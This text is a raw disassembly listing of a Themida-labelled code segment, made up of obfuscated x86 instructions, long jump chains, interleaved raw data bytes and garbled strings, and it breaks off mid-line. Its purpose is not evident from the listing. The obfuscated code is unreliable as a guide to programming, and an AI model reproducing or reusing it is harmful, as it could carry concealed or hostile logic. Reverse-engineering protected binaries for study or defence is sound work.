[esp], edi sub esp, 4 jmp loc_55164D ; --------------------------------------------------------------------------- dd 4DE9575Bh, 88FFFF75h, 5AD788CAh, 1C8BFC88h, 43E2E924h dd 30ACFFFFh, 0B15166D8h, 0E9C830B3h, 0FFFF9A8Dh, 612C5Ah dd 2C6104D8h, 0DB2528Dh, 0FDE9D028h, 53000026h, 0F90880B7h dd 9BE9805Bh, 546268h, 24048900h, 6CE9CC88h db 0FCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E3E7: ; CODE XREF: Themida_:00555347j shl ebp, 1 or ebp, 1BE21A04h shr ebp, 8 shl ebp, 5 xor ebp, 0F082A83Fh sub esi, ebp pop ebp or esi, 268846F5h not esi xor esi, 0ABC1C5B4h push ebp mov ebp, 11092B4Dh and ebp, 3369452Dh add ebp, 115C66F0h jmp loc_55F14A ; --------------------------------------------------------------------------- db 81h dd 875E50F3h, 5BDA010Ch, 0FF5DAFE9h db 0FFh ; --------------------------------------------------------------------------- loc_55E431: ; CODE XREF: Themida_:005590EAj push 1B10h push esp pop dword ptr [esp] jmp loc_55717A ; --------------------------------------------------------------------------- loc_55E43F: ; CODE XREF: Themida_:0055E2A6j mov esi, 0FFFFFFFFh sub [edi+24h], esi push dword ptr [esp] pop esi sub esp, 4 mov [esp], edx mov edx, esp add edx, 4 push ecx jmp loc_560A3B ; --------------------------------------------------------------------------- db 53h dd 0EC83FEB3h, 240C8904h, 16E9D988h, 8BFFFF42h, 0C481243Ch dd 4, 80E9F801h db 52h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E47F: ; CODE XREF: Themida_:0055DC25j mov [esp], ebx mov ebx, 13E34A95h jmp loc_55967B ; --------------------------------------------------------------------------- dd 4D7EBA52h, 0F2815EFEh, 4DE3D2Ah, 0E2C1DAF7h, 0FCEA8107h dd 1EFC7D5h, 0BF575AD5h, 4, 875FFD29h, 0CBE9242Ch, 5EFFFF9Ah dd 20D5E9h, 32FF6600h, 0FF0EA8E9h, 43DBF7FFh, 0DBF7DBF7h dd 4EC81h, 34890000h, 39DBBE24h, 0C2E908E6h db 7Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E4DF: ; CODE XREF: Themida_:0055100Cj add eax, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] jmp loc_558400 ; --------------------------------------------------------------------------- dd 351F685Ah, 2C890000h, 88E95424h, 8BFFFF5Fh, 1C892424h dd 0BB24h, 33E90000h db 51h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E50F: ; CODE XREF: Themida_:00559C02j pop esp jmp loc_562DAA ; --------------------------------------------------------------------------- db 0B9h, 56h, 7Ah dd 0C5E92C64h, 81FFFF73h, 4C3h, 4EB8300h, 5C241C87h, 0BD242C89h dd 79B511D5h, 4A64BF57h, 0D7F72509h, 7E81C781h, 0FD31A943h dd 0FFACAEE9h, 1C8B5EFFh, 4C48324h, 0FFFFEE81h, 0EEC1FFFFh dd 0A9BA5208h, 0E942D158h, 0FFFF6FC8h, 6E00E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E56A: ; CODE XREF: Themida_:0054FCD9j sub edx, 761A3B67h jmp loc_5527AD ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 0CC61C0B9h, 8BCA0944h, 0C483240Ch, 4E2C104h, 5989EA81h dd 0D329105Bh, 0E92434FFh, 0FFFF3E9Dh, 0C65DBBBh, 0B7EF8148h dd 114AC20h, 0B7C781DFh, 0E914AC20h, 0FFFFAB8Bh, 405h dd 24048700h, 68E9F75Ch, 31DDh, 0E9241489h, 38D3h ; --------------------------------------------------------------------------- loc_55E5C8: ; CODE XREF: Themida_:005531D4j mov edi, eax mov eax, [esp] add esp, 4 jmp loc_5563A2 ; --------------------------------------------------------------------------- db 29h, 0F8h, 0E9h dd 0FFFF5577h ; --------------------------------------------------------------------------- loc_55E5DC: ; CODE XREF: Themida_:0055AE17j xchg edx, [esp] pop esp push 11C4h mov [esp], eax jmp loc_557232 ; --------------------------------------------------------------------------- db 0BDh, 0C9h, 5Ah dd 0E95703FAh, 0FFFF81F9h, 0C003E4C0h, 0E4C008E4h, 9FB15104h dd 0FFEB6EE9h, 241C89FFh, 0E92CB652h, 0FFFF47D6h ; --------------------------------------------------------------------------- loc_55E614: ; CODE XREF: Themida_:005534F1j mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] add [esp+4], ebp pop ebp push dword ptr [esp] pop edx add esp, 4 sub edx, 4AFD6046h jmp loc_55923D ; --------------------------------------------------------------------------- db 81h dd 4C7h, 4EF8300h, 5C243C87h, 54243C89h, 4987E95Fh, 0FF54FFFFh db 34h, 24h, 5Ah ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_55CC20 ; --------------------------------------------------------------------------- dw 48Fh dd 4BD5524h, 1000000h, 0E904246Ch, 0FFFF68D4h ; --------------------------------------------------------------------------- loc_55E684: ; CODE XREF: Themida_:0055BC99j and ebp, 67F206E7h add ebp, 0C7785145h jmp loc_55A0C8 ; --------------------------------------------------------------------------- db 0FFh, 32h, 0E9h dd 0FFFF0CD1h ; --------------------------------------------------------------------------- loc_55E69C: ; CODE XREF: Themida_:0055FB20j mov [esp], edx push 157F55DEh jmp loc_558ECC ; --------------------------------------------------------------------------- db 1, 0E8h, 0E9h dd 0FFFF5578h ; --------------------------------------------------------------------------- loc_55E6B0: ; CODE XREF: Themida_:0055DEDFj mov bl, 21h push eax mov ah, bl mov ch, ah pop eax pop ebx sub bl, ch mov cx, [esp] push edx mov edx, esp jmp loc_5514DE ; --------------------------------------------------------------------------- db 55h dd 7CE96853h, 815B1D4Ch, 0C05510C3h, 84E38174h, 8159FE39h dd 8B6187F3h, 0E9DD8956h, 0FFFF762Bh ; --------------------------------------------------------------------------- loc_55E6E8: ; CODE XREF: Themida_:00563A7Aj mov esi, esp jmp loc_55118D ; --------------------------------------------------------------------------- db 8Bh dd 3C892424h, 4BF24h, 0F9010000h, 5F2434FFh, 4C481h, 0C330000h dd 1C9FE924h, 0BD55FFFFh, 54AB19A7h, 4EC81h, 34890000h dd 8ABB5324h, 0BE32E15Eh, 787387D3h, 5B30EE81h, 0DE0145ABh dd 5B30C681h, 815B45ABh, 9E32F1EDh, 29EFE94Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E742: ; CODE XREF: Themida_:00552546j pop esi push edx mov edx, 76F14F1Ch add edx, 73BF0F08h push esi mov esi, 3D05505Ch and edx, esi jmp loc_55CB27 ; --------------------------------------------------------------------------- loc_55E75C: ; CODE XREF: Themida_:00561A9Aj mov edi, 4 sub ebx, edi pop edi push ebx push dword ptr [esp+4] mov ebx, [esp] jmp loc_5577E8 ; --------------------------------------------------------------------------- db 5Dh, 0E9h, 7 dd 8BFFFF36h, 0AF682404h, 8900003Eh, 0F8E9240Ch, 8BFFFFACh dd 0C4812414h, 4, 7D8DEA81h, 0EA812955h, 15744DB1h, 7C7FC281h dd 0D9E94746h, 50FFFFEDh, 0B5298A68h, 78055879h, 0E9C8E154h dd 0FFFFD56Eh, 51243C89h, 5351E9h db 0 ; --------------------------------------------------------------------------- loc_55E7C1: ; CODE XREF: Themida_:005594F9j xor ebp, 3EDE3764h add esi, 63173BD7h jmp loc_562436 ; --------------------------------------------------------------------------- loc_55E7D2: ; CODE XREF: Themida_:0055CF25j push ebx jmp loc_5573C9 ; --------------------------------------------------------------------------- dd 405h, 0D775E900h, 0B368FFFFh, 89000069h, 4BE2434h, 0E9000000h dd 4668h, 4C281h, 0D3E90000h db 55h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E7FF: ; CODE XREF: Themida_:005543D0j sub eax, 10E03A9Ah pop ecx jmp loc_55EB98 ; --------------------------------------------------------------------------- dw 489h dd 0E293E924h, 0E951FFFFh, 0FFFF4C63h, 5C241487h, 0FFB884E9h dd 52E95AFFh, 0F7000019h, 0A1EE81DEh, 81BE9ADAh, 866F92EAh dd 81F22925h, 866F92C2h, 0E5E95E25h, 5D000057h, 425FFA89h dd 8904EC83h, 0FFB82404h, 29FFFFFFh, 0EA8158C2h, 4FA97573h dd 0BD67EA81h, 0D729652Ch, 0E9F8315Ah, 0FFFF3129h, 4C18159h dd 83000000h, 0C8704E9h, 14895C24h, 27726824h, 0CCE97762h db 2Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E887: ; CODE XREF: Themida_:005515D8j xor esi, 0F1B54278h jmp loc_55A684 ; --------------------------------------------------------------------------- dw 5752h dd 0D87C3EBFh, 3712BA4Eh, 0FA317BA4h, 81DAF75Fh, 92C290EAh dd 0E9D301B4h, 3C92h, 0FF0AB8E9h, 0B25266FFh, 1E7CE94Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E8BE: ; CODE XREF: Themida_:005640FFj push ebp jmp loc_562E2F ; --------------------------------------------------------------------------- loc_55E8C4: ; CODE XREF: Themida_:00554A4Dj neg ecx jmp loc_55AC02 ; --------------------------------------------------------------------------- loc_55E8CB: ; CODE XREF: Themida_:0056061Dj xor [esp], esi xor esi, [esp] jmp loc_5582F6 ; --------------------------------------------------------------------------- aIaiFys db '(ë€ëìfYéÒ]',0 align 2 dw 0F1BFh dd 813D2F10h, 2F10F5F7h, 5FFA013Dh, 4EC81h, 5AE90000h db 28h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E8FB: ; CODE XREF: Themida_:0055AFAAj xor ch, bh pop bx xor ch, 0C1h mov bl, ch pop ecx not bl sub bl, 0FFh push ecx jmp loc_55F2AD ; --------------------------------------------------------------------------- dd 4C58359h, 5C242C87h, 57C8B60Fh, 0FFE28BE9h, 5DF781FFh dd 0E973B32Ah, 1465h, 2C6835Ah, 97D68h, 3F01E900h, 8145FFFFh dd 3051E6EDh, 0E9EF8925h, 0FFFF6444h, 0E904C483h, 0FFFFEF74h ; --------------------------------------------------------------------------- loc_55E950: ; CODE XREF: Themida_:0055AC58j push dword ptr [esp] pop edi push ebp jmp loc_55AA5B ; --------------------------------------------------------------------------- dw 74FFh dd 48B0424h, 0E1895124h, 4C181h, 0C1810000h, 4, 5C240C87h dd 8B24048Fh, 2DE92424h, 8FFFFF7Eh, 9E7E902h, 0C481FFFFh dd 4, 45016A35h, 0C3F4E908h, 1C89FFFFh, 5BB15124h, 0E9CA8852h dd 3BDh, 5C243487h, 89241C89h, 4BE56E3h, 1000000h, 0E9525EF3h dd 0FFFFE97Ch, 0E7C78159h, 81109B6Eh, 968088F7h, 0FFF8897Ch dd 835F2434h, 0F1E904C4h, 8BFFFF60h, 0E950243Ch, 52D3h dd 761905ADh, 74E933B1h, 0F7FFFFDFh, 1BE56DFh, 29000000h dd 0B367E9F7h, 48BFFFFh, 0E7895724h, 4C781h, 0C7830000h dd 243C8704h, 4BA525Ch, 1000000h, 0E9575AD0h, 0FFFF92BBh ; --------------------------------------------------------------------------- loc_55EA1C: ; CODE XREF: Themida_:00554251j push edi push esi mov esi, 55561106h mov edi, esi pop esi push ecx jmp loc_55A938 ; --------------------------------------------------------------------------- dd 3302C783h, 0ADE9243Ch db 0A7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EA37: ; CODE XREF: Themida_:005639EEj xchg edx, [esp] pop esp push 6026h mov [esp], esi jmp loc_54F653 ; --------------------------------------------------------------------------- dd 4C781h, 0C7830000h, 243C8704h, 0FF171CE9h db 0FFh ; --------------------------------------------------------------------------- loc_55EA59: ; CODE XREF: Themida_:00558A4Ej sub esp, 4 mov [esp], ebp mov ebp, 7C4C03F1h jmp loc_554F0C ; --------------------------------------------------------------------------- dd 83BC681h, 4E466CC2h, 5913F681h, 0F30936CAh, 73C3815Eh dd 0E96B6EF6h, 0FFFF469Ah ; --------------------------------------------------------------------------- loc_55EA88: ; CODE XREF: Themida_:00550025j push edi push 617F5C8Fh pop edi shr edi, 8 xor edi, 17F5536Ah jmp loc_550E15 ; --------------------------------------------------------------------------- db 0C0h, 0EBh, 8 dd 0FF71D1E9h, 8BF001FFh, 0C4832434h, 0E1BF5704h, 0E969F71Ch dd 0FFFF12A5h, 2FE95304h db 0Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55EABF: ; CODE XREF: Themida_:0055BC56j pop eax push edx mov edx, 4 add esi, edx pop edx xchg esi, [esp] pop esp push 3E9Ch mov [esp], eax mov eax, esp push ebp jmp loc_556AE5 ; --------------------------------------------------------------------------- db 0F7h, 0D6h, 0E9h dd 0FFFF4AE7h, 315DEF29h, 0E9815FFBh, 7D3335AAh, 0FF480AE9h dd 0C8B66FFh, 7DE95224h db 41h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55EAFF: ; CODE XREF: Themida_:0055DDD2j push ebx push eax jmp loc_552714 ; --------------------------------------------------------------------------- dw 15Bh dd 24148BD7h, 8704C483h, 248B243Ch, 2424D324h, 84FE99Ch dd 34FFFFFFh, 0C4835F24h, 51C78104h, 81742913h, 0D27454EFh dd 0E9D7295Ch, 0FFFFC3B3h, 0E92414F7h, 0FFFF1CE9h, 39F7EF81h dd 81477181h, 46BC7E7h, 0BEEF816Fh, 890A0061h, 0BB535FFDh dd 89D2902h, 5F73B850h, 0C3315561h, 5BD92958h, 0FFAA31E9h dd 4E883FFh, 2EBAE9h, 7BC98100h, 0F71D2C2Ah, 2E9C1D9h dd 0EBAC981h, 69E94832h, 0BE00002Bh, 4, 0E95EF001h, 0FFFFCD96h ; --------------------------------------------------------------------------- loc_55EB98: ; CODE XREF: Themida_:0055E805j xchg eax, [esp] pop esp mov [esp], edx mov edx, 8000h jmp loc_558FE0 ; --------------------------------------------------------------------------- loc_55EBA9: ; CODE XREF: Themida_:005545E8j push dword ptr [esp] push dword ptr [esp] jmp loc_55C7E0 ; --------------------------------------------------------------------------- loc_55EBB4: ; CODE XREF: Themida_:00560DE6j or eax, 0D334906h jmp loc_56258E ; --------------------------------------------------------------------------- dw 0E95Bh dd 0FFFF24D3h, 4B95150h, 89000000h, 0EB8159C8h, 3E98156Fh dd 0FFB588E9h db 0FFh ; --------------------------------------------------------------------------- loc_55EBD9: ; CODE XREF: Themida_:0055883Cj xor [esp], edx xor edx, [esp] mov esp, [esp] push dword ptr [esp] pop eax push 625Bh mov [esp], edi mov edi, esp push edx mov edx, 4 jmp loc_55D37B ; --------------------------------------------------------------------------- db 5Eh dd 4C681h, 0E9500000h, 0FFFFB584h, 4C181h, 0C1830000h dd 240C8704h, 1BE565Ch, 21000000h, 24348BF0h, 4EC81h, 0C890000h dd 0C8B5424h, 4C48324h, 4C181h, 0EC810000h, 4, 0BF243C89h dd 738D4383h, 0D1F7CF87h, 0DFF7CF87h, 25FAEF81h, 0BB532248h dd 0FFFFFFFFh, 0F9E9DF29h db 0F5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EC5F: ; CODE XREF: Themida_:0055639Dj mov dh, ah mov ch, dh pop edx push dword ptr [esp] jmp loc_556895 ; --------------------------------------------------------------------------- dd offset dword_507C48+720h dd 82D4E900h, 0C281FFFFh, 54E91036h, 49EA6856h, 525E5FCAh dd 907A7ABAh, 7EAC147h, 424ADAF7h, 3A4E281h, 0C281463Dh dd 22156508h, 815AD621h, 0B74D6ECEh, 79BA5243h, 2174DA78h dd 0D6F75AD6h, 34FEE81h, 0B0E901D8h db 0D6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55ECBB: ; CODE XREF: Themida_:00556E48j sub edi, 53AC4D1Ah jmp loc_560EC7 ; --------------------------------------------------------------------------- dw 565Dh dd 6CC6E957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55ECCE: ; CODE XREF: Themida_:0054FAA5j pop edx push eax not dword ptr [esp] pop eax or eax, 7ED3F24h add eax, 7F804A0Dh jmp loc_55A70D ; --------------------------------------------------------------------------- db 89h dd 86E95BDDh, 68FFFF2Eh, 7840h, 89241489h, 4BFDE9E2h, 0C8BFFFFh dd 4C48324h, 0FFBF95E9h, 5F5A57FFh, 280ECA81h, 0EA813C9Ch dd 0BEE4C05h, 2CAFE9h, 8BEE0100h, 0C483242Ch, 24343304h dd 33243431h, 248B2434h, 36E98124h, 0E90A7B01h, 54ABh ; --------------------------------------------------------------------------- loc_55ED38: ; CODE XREF: Themida_:0055042Ej pop edi jmp loc_552B42 ; --------------------------------------------------------------------------- dw 6853h dd 42DD757Bh, 0A9E3815Bh, 81791E0Ch, 8B123EE3h, 9EB8503Ah dd 5552541h, 20C9CD2Bh, 0FF5674E9h, 0E9D788FFh, 0FFFF8141h ; --------------------------------------------------------------------------- loc_55ED68: ; CODE XREF: Themida_:0056035Ej xor esi, [esp] pop esp xor [esp], ax pushf jmp loc_54F36D ; --------------------------------------------------------------------------- dw 1C87h dd 4085C24h, 2DE99C24h, 52FFFFFBh, 4BAh, 9777E900h, 0EF80FFFFh dd 0E951663Fh, 0FFFFF1CAh ; --------------------------------------------------------------------------- loc_55ED98: ; CODE XREF: Themida_:0055BE8Bj pop ecx sub al, 0Fh sub al, ch add al, 0Fh push edx mov dl, 0ACh push dx not byte ptr [esp] pop dx shl dl, 3 inc dl jmp loc_562069 ; --------------------------------------------------------------------------- loc_55EDB3: ; CODE XREF: Themida_:0055A7E9j mov eax, [esp] jmp loc_5507A2 ; --------------------------------------------------------------------------- db 0BAh dd 4DB74123h, 89D78957h, 355A5FF8h, 654A680Eh, 0D8B22F2Dh dd 2CA1E9F8h, 0D2B80000h, 10F4030h, 33CBE9C7h, 1C890000h dd 51E0BB24h, 0D9010753h, 0FF5BCEE9h, 4EC81FFh, 0E9000000h dd 0FFFF1554h, 0E924048Fh, 0FFFFA2D5h, 2894EB80h, 0AC18E9E3h dd 0E981FFFFh, 87066B2h, 0FFC003E9h, 242C81FFh, 6D146BCEh dd 0FFFD99E9h db 0FFh ; --------------------------------------------------------------------------- loc_55EE25: ; CODE XREF: Themida_:00562887j and esi, 6BC71F64h shr esi, 3 add esi, 0CF27564h shl esi, 3 dec esi add esi, 61E090D6h and ecx, esi pop esi jmp loc_5502C5 ; --------------------------------------------------------------------------- dw 5258h dd 7C28DEBAh, 4EC8123h, 0E9000000h, 4620h ; --------------------------------------------------------------------------- loc_55EE58: ; CODE XREF: Themida_:0055D2B2j not edx sub esp, 4 jmp loc_558CD1 ; --------------------------------------------------------------------------- loc_55EE65: ; CODE XREF: Themida_:005613EEj add edi, 762D6129h sub ebp, 2D6E3EB2h jmp loc_554575 ; --------------------------------------------------------------------------- dw 0C483h dd 0A6BD5504h, 4D4A956Ah, 0FF8CCCE9h, 3CC381FFh, 1071439h dd 3CEB81EBh, 0E9071439h, 0FFFF5D85h, 0E9D3015Bh, 0FFFFC375h ; --------------------------------------------------------------------------- loc_55EEA0: ; CODE XREF: Themida_:00553D3Aj pop cx push 18A8h mov [esp], eax jmp loc_56122E ; --------------------------------------------------------------------------- db 0FFh dd 34FF2434h, 0DEE6E924h, 0DEF6FFFFh, 204CB551h, 0EFE959EEh db 52h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EEC7: ; CODE XREF: Themida_:0055BC87j mov esp, [esp] mov [esp], cx jmp loc_553581 ; --------------------------------------------------------------------------- loc_55EED3: ; CODE XREF: Themida_:0055FA53j inc al neg al sub al, 86h mov dh, al mov eax, [esp] add esp, 4 inc dh shl dh, 7 push ebx mov bh, 71h not bh push ecx mov cl, 8Bh inc cl sub cl, 0F2h shl cl, 1 or cl, 0D9h shl cl, 4 jmp loc_5585AB ; --------------------------------------------------------------------------- dd 0E956E389h, 0FFFFB8E6h, 10E9D001h db 0Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_55EF0F: ; CODE XREF: Themida_:00552379j push edi jmp loc_55CFAD ; --------------------------------------------------------------------------- db 1, 5Ch, 24h dd 241C8B04h, 5E08950h, 4, 405h, 24048700h, 0EC5CE95Ch dd 0E8C0FFFFh, 3327E908h, 1C890000h, 48E95024h db 82h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EF43: ; CODE XREF: Themida_:00563864j not esi xor ebx, esi xor esi, ebx xor ebx, esi xor edi, ebx xor ebx, edi xor edi, ebx jmp loc_55FED7 ; --------------------------------------------------------------------------- dw 0E281h dd 6C625CEFh, 0E61F281h, 3CE90C66h db 0A0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EF67: ; CODE XREF: Themida_:0054F9E3j mov edx, esp add edx, 4 push eax push edx jmp loc_55ADC8 ; --------------------------------------------------------------------------- dw 2489h dd 24048124h, 4, 0E924048Fh, 0FFFF2FA4h, 405h, 40500h dd 4870000h, 24248B24h, 0FF03D0E9h, 63E95FFFh, 0D0000057h dd 0AEC480ECh, 2058E188h, 2434FFCEh, 0E7895759h, 4C781h dd 89E90000h db 49h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EFBF: ; CODE XREF: Themida_:0055DEB0j mov ebp, 70720FC2h add ebp, 1 add ebp, 8FD2FD22h push ebp pop eax pop ebp sub edi, 7A482994h sub edi, eax add edi, 7A482994h pop eax jmp loc_55F41A ; --------------------------------------------------------------------------- dd 6624248Bh, 51240C8Bh, 2FE3E9h, 0C8C38100h, 89F943DAh dd 241C8BD8h, 0FF3D0FE9h db 0FFh ; --------------------------------------------------------------------------- loc_55F001: ; CODE XREF: Themida_:00559EA1j xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] jmp loc_55261D ; --------------------------------------------------------------------------- dw 0C89h dd 81E18924h, 4C1h, 0C1A0E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F022: ; CODE XREF: Themida_:0055F160j pop ebp not esi dec esi jmp loc_55B136 ; --------------------------------------------------------------------------- db 89h dd 0B951241Ch, 0E8D7C93h, 6BA5257h, 890F1E3Eh, 0F7815AD7h dd 1934297h, 3D12E9h db 0 ; --------------------------------------------------------------------------- loc_55F049: ; CODE XREF: Themida_:00553A4Cj mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], edx mov edx, 1 jmp loc_5524E8 ; --------------------------------------------------------------------------- db 0BEh, 4, 0 dd 74010000h, 595E0424h, 81E68956h, 4C6h, 4EE8300h, 5C243487h dd 0BA241489h, 54CE6754h, 6951EA81h, 0C283072Ah, 0D3F28101h dd 5048B223h, 0E532F1B8h, 0E9C23177h, 0FFFF1DF9h, 5369B353h dd 8B2414F6h, 56E9241Ch, 0BEFFFF5Ah, 7CF214CBh, 0F681DEF7h dd 31365F15h, 8CBCC681h, 0F389CD5Ah, 70C3815Eh, 811CA454h dd 0C56AB6C3h, 4374E963h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F0DA: ; CODE XREF: Themida_:005550F6j push dword ptr [esp] pop ebp add esp, 4 jmp loc_5580A0 ; --------------------------------------------------------------------------- dw 0C381h dd 15016862h, 6CE3814Bh, 0F7237B38h, 0D0F381DBh, 1FCECEFh dd 7D4BE9D9h, 8956FFFFh, 4C681E6h, 81000000h, 4EEh, 232FE900h dd 8B5A0000h, 0C481243Ch, 4, 0E952D829h, 0FFFFB4BFh, 240C8B66h dd 0FFDEA7E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F131: ; CODE XREF: Themida_:005539FDj pop ecx push ebp mov ebp, 7B5D0DD6h shr ebp, 5 push eax push edi mov edi, 6C202E9Dh mov eax, edi pop edi jmp loc_559ADF ; --------------------------------------------------------------------------- loc_55F14A: ; CODE XREF: Themida_:0055E41Ej xor ebp, 3C343F06h add ebp, 3B134EBh neg ebp xor ebp, 0E6CF0991h or esi, ebp jmp loc_55F022 ; --------------------------------------------------------------------------- loc_55F165: ; CODE XREF: Themida_:00552B54j push edi mov edi, 5B771821h push 0 sub [esp], edi pop edi jmp loc_5647AF ; --------------------------------------------------------------------------- db 5Ch, 0E9h, 45h db 9, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F17F: ; CODE XREF: Themida_:00557003j sub esp, 4 mov [esp], ebp mov ebp, 69127815h jmp loc_556E54 ; --------------------------------------------------------------------------- dw 0E883h dd 24048704h, 0FF1442E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F19D: ; CODE XREF: Themida_:00554FB3j neg ebx add ebx, 4B70023Dh jmp loc_55B080 ; --------------------------------------------------------------------------- loc_55F1AA: ; CODE XREF: Themida_:00550528j pop ebx pop edi not edi xchg edi, ebx shr ebx, 4 add ebx, 2063F51Ch jmp loc_55ACF5 ; --------------------------------------------------------------------------- dw 483h dd 815E0424h, 4C6h, 4EC8100h, 89000000h, 0E9240Ch, 5EFFFFECh dd 4D2968FDh, 0C8B6413h, 0E0895024h, 405h, 4E88300h, 0D87E9h dd 0F7EAD100h, 81DAF7D2h, 4AD0AC2h, 3973E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55F202: ; CODE XREF: Themida_:00560174j pop ecx push edx push edi push 22DD66F5h pop edi shr edi, 3 jmp loc_561DC3 ; --------------------------------------------------------------------------- db 29h dd 241C8BD9h, 4C481h, 0C1810000h, 373BBB45h, 5759CA31h dd 0E630CABFh, 0C3BCE912h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F232: ; CODE XREF: Themida_:00552EDDj push esi jmp loc_5641EA ; --------------------------------------------------------------------------- loc_55F238: ; CODE XREF: Themida_:005599AAj add al, 15h push 2297h mov [esp], ebx push 58ABh mov [esp], ecx mov ch, 0AFh jmp loc_55AE04 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 4DBF243Ch, 81738F17h, 70E8B5C7h, 59B1058Ch dd 0F80146CAh, 0CA59B12Dh, 8E95F46h, 81FFFF3Dh, 0D33D44F5h dd 5DEF099Fh, 6180EF81h, 26E94828h, 81000008h, 846B6DF1h dd 0E9CE0143h, 3367h ; --------------------------------------------------------------------------- loc_55F298: ; CODE XREF: Themida_:0055733Cj push dword ptr [esp] jmp loc_554CC3 ; --------------------------------------------------------------------------- loc_55F2A0: ; CODE XREF: Themida_:005627DDj add dh, bl pop ebx mov ch, dh push dword ptr [esp] jmp loc_562490 ; --------------------------------------------------------------------------- loc_55F2AD: ; CODE XREF: Themida_:0055E90Bj mov ch, 12h or bl, ch pop ecx push dx jmp loc_56183D ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 0C44B50BEh, 2E6C10Ch, 0FFC6F2E9h, 249068FFh, 14890000h dd 600D6824h, 515A6885h, 0E02E26B9h, 1AE98105h, 13AB418h dd 815259CAh, 6E2A2404h, 55E961DAh, 81FFFF67h, 4C332404h dd 0E95E6157h, 0FFFFE16Eh, 0BD242C89h, 4, 7D35C381h, 0EB014230h dd 7D35EB81h, 2C8B4230h, 4C48124h, 83000000h, 2E904C3h dd 32h, 0E9752CC8h, 0FFFF7A46h ; --------------------------------------------------------------------------- loc_55F330: ; CODE XREF: Themida_:0055B8FBj shr ecx, 0Bh push 20CEh mov [esp], ebx jmp loc_554CD6 ; --------------------------------------------------------------------------- dd 68D831ADh, 7910h, 0BF243C89h, 3FEC2805h, 0FF0B88E9h dd 0C9685DFFh, 89000047h, 7EBB241Ch, 0E9158F59h, 4145h ; --------------------------------------------------------------------------- loc_55F368: ; CODE XREF: Themida_:005607CBj push ecx push 402D26C9h pop ecx not ecx shl ecx, 7 shl ecx, 8 xor ecx, 21B32DEDh mov edx, ecx pop ecx sub esp, 4 mov [esp], ebx push ecx mov ecx, 6AB70CBDh mov ebx, ecx pop ecx jmp loc_5509C0 ; --------------------------------------------------------------------------- dd 0C999E958h, 0D568FFFFh, 8900005Eh, 0BE562414h, 6ECB3861h dd 0D00E9ABAh, 1B76E9E3h, 0D089FFFFh, 58C1015Ah, 4BD55h dd 0E9290000h, 0FF9E4FE9h, 2474FFFFh, 24348B04h, 0FF27E5E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F3D1: ; CODE XREF: Themida_:00558743j sub dword ptr [esp+4], 71A2485Eh jmp loc_55D87E ; --------------------------------------------------------------------------- dw 0E980h dd 0F6C9FE57h, 6AE980D1h, 40A8E953h, 0EA81FFFFh, 0F1033165h dd 75AE9h db 0 ; --------------------------------------------------------------------------- loc_55F3F9: ; CODE XREF: Themida_:00557969j mov ebx, 34300A52h shl ebx, 6 shl ebx, 8 or ebx, 3D5B783Dh neg ebx xor ebx, 9FC97BD9h mov eax, ebx pop ebx jmp loc_5504B7 ; --------------------------------------------------------------------------- loc_55F41A: ; CODE XREF: Themida_:0055EFDFj push edi add dword ptr [esp], 726B03F2h mov ebx, [esp] add esp, 4 sub esp, 4 mov [esp], eax jmp loc_55838C ; --------------------------------------------------------------------------- dw 34FFh dd 54505824h, 8324048Bh, 5CE904ECh, 81FFFFC9h, 0E04EC0C5h dd 5DEF01D5h, 4998E9h, 2BD00h, 0EB010000h, 0F914E95Dh dd 5659FFFFh, 0E415CBEh, 980DE966h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F46E: ; CODE XREF: Themida_:005603E9j push dword ptr [esp+4] jmp loc_5581BF ; --------------------------------------------------------------------------- loc_55F477: ; CODE XREF: Themida_:005602FEj pop esp mov [esp], esi mov esi, 3D825C0Ah push ebx mov ebx, 2902362Ah or ebx, 458938BAh not ebx sub ebx, 250C7E07h add esi, ebx pop ebx not esi add esi, 77F93E99h jmp loc_5526C4 ; --------------------------------------------------------------------------- dd 0E289525Bh, 4B951h, 0CA010000h, 0FF3F67E9h, 0A0BD55FFh dd 29731308h, 242C8BEAh, 104C483h, 400EE9F2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F4CA: ; CODE XREF: Themida_:00560F07j shr eax, 10h xor eax, ecx xor eax, ebx jmp loc_55BF85 ; --------------------------------------------------------------------------- dw 0FE30h aQrUsa db '[QR¶ué€*',0 align 2 loc_55F4E2: ; CODE 